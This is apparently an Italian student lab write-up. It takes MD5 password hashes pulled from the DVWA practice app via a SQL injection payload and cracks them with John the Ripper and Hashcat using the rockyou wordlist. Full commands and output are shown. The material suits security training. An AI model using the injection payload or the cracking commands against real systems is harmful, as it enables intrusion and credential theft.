


Password Cracking

Con l'attacco SQL injection ieri avevamo estrapolato le password:



Vulnerability: SQL Injection

User ID:

Submit

ID: %'and 1=0 union select null, concat(first_name,0x0a

First name:

Surname: admin

admin

admin

5f4dcc3b5aa765d61d8327deb882cf99

ID: %'and 1=0 union select null, concat(first_name,0x0a

First name:

Surname: Gordon

Brown

gordonb

e99a18c428cb38d5f260853678922e03

ID: %'and 1=0 union select null, concat(first_name,0x0a

First name:

Surname: Hack

Me

1337

8d3533d75ae2c3966d7e0d4fcc69216b

ID: %'and 1=0 union select null, concat(first_name,0x0a

First name:

Surname: Pablo

Picasso

pablo

0d107d09f5bbe40cade3de5c71e9e9b7

ID: %'and 1=0 union select null, concat(first_name,0x0a

First name:

Surname: Bob

Smith

smithy

5f4dcc3b5aa765d61d8327deb882cf99

Notiamo intanto che la prima e l'ultima pass sono identiche, quindi eseguiremo il password cracking su 4 password. Creo il file "password.txt" su Kali contenente le pass

Con John The Reaper:

File Actions Edit View Help

GNU nano 7.2password.txt

5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7

(kali@kali)-[~]

\$ john password.txt --format=Raw-MD5

Using default input encoding: UTF-8

Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])

Warning: no OpenMP support for this hash type, consider --fork=2

```

Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password      (?)
abc123        (?)
Proceeding with incremental:ASCII
charley       (?)
3g 0:00:00:00 DONE 3/3 (2023-03-01 08:37) 10.00g/s 593860p/s 593860c/s 595140C/s stevy13..chertsu
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

```

Inizialmente l'operazione usciva solo su 3 password, mi sono infatti accorto di aver sbagliato a scrivere una delle 4 pass. Dopo averla corretta, effettua l'operazione:

```

(kali@kali)-[~]
$ john password.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Remaining 1 password hash
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
letmein       (?)
1g 0:00:00:00 DONE 2/3 (2023-03-01 08:43) 25.00g/s 4800p/s 4800c/s 4800C/s 123456..knight
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

```

Ho sguinzagliato l'amico John che ha cercato quante più combinazioni possibili e tentato parole comuni decrittando le password. Esse sono: password, abc123, charley e letmein.

Con HASHCAT

Anzitutto è stato necessario estrarre Rockyou (un dizionario di parole comuni, indispensabile per il funzionamento del comando Hashcat) sulla directory filesystems/usr/share/wordlists

```

(kali@kali)-[~]
$ hashcat -a 0 -m 0 password.txt /usr/share/wordlists/rockyou.txt -o crackingpass.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 14.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

=====
* Device #1: pthread-penryn-12th Gen Intel(R) Core(TM) i7-1255U, 1084/2232 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 4 digests; 4 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

```

```
Dictionary cache built:
* Filename.. : /usr/share/wordlists/rockyou.txt
* Passwords..: 14344392
* Bytes.....: 139921507
* Keyspace.. : 14344385
* Runtime... : 1 sec
```

```
Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 0 (MD5)
Hash.Target....: password.txt
Time.Started....: Wed Mar 1 09:24:54 2023 (0 secs)
Time.Estimated...: Wed Mar 1 09:24:54 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
```

```

Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 42180 H/s (0.12ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered.....: 4/4 (100.00%) Digests (total), 4/4 (100.00%) Digests (new)
Progress.....: 3072/14344385 (0.02%)
Rejected.....: 0/3072 (0.00%)
Restore.Point....: 2560/14344385 (0.02%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: gators → dangerous
Hardware.Mon.#1...: Util: 45%

```

```
Started: Wed Mar 1 09:24:29 2023
Stopped: Wed Mar 1 09:24:55 2023
```

Hashcat ha eseguito un brutal force su password in formato mdc (abbiamo usato l'opzione -m) e ha recuperato le 4 password contenute nel file password.txt. Leggendo il file con cat o inserendo l'appendice --show al comando hashcat, usciranno le password deciptate.

```
(kali㉿kali)-[~]
$ cat crackingpass.txt
5f4dcc3b5aa765d61d8327deb882cf99:password
e99a18c428cb38d5f260853678922e03:abc123
0d107d09f5bbe40cade3de5c71e9e9b7:letmein
8d3533d75ae2c3966d7e0d4fcc69216b:charley

(kali㉿kali)-[~]
$ hashcat --show -m 0 -a 0 password.txt /usr/share/wordlists/rockyou.txt --force
5f4dcc3b5aa765d61d8327deb882cf99:password
e99a18c428cb38d5f260853678922e03:abc123
8d3533d75ae2c3966d7e0d4fcc69216b:charley
0d107d09f5bbe40cade3de5c71e9e9b7:letmein
```